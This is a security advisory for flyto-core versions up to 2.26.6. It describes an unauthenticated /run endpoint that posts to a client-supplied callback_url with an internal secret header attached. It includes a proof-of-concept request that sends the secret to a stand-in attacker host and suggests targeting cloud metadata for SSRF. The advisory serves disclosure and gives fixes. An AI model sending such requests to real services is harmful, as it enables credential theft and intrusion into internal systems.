Is flyto-core safe?

GHSA-jx74-cqjv-2c67

The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.

• src/core/verification_service.py:363-364 — /run has no Depends/auth dependency.
• resolve_callback_url returns the client callback_url verbatim (:315-316).
• post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).
• target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.
• Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.

Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).

Code-proven this session (all lines confirmed on v2.26.6):

POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.

• Entry: unauthenticated POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect". Guard: auth on /run. Bypass proof: no Depends(require_auth) (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.
• Check: target_allowed scope (:259). Bypass proof: only inspects params.target_url; callback_url is never passed through extract_host/target_allowed.
• Check: SSRF validation on callback_url. Bypass proof: file has ZERO validate_url references.
• Sink: post_callback → session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET}) (:330-335); header attached unconditionally when the env var is set (:327-329).
• Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.

/run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.

<= 2.26.6 — verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.

Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.

Vulnerability discovered by zx (Jace).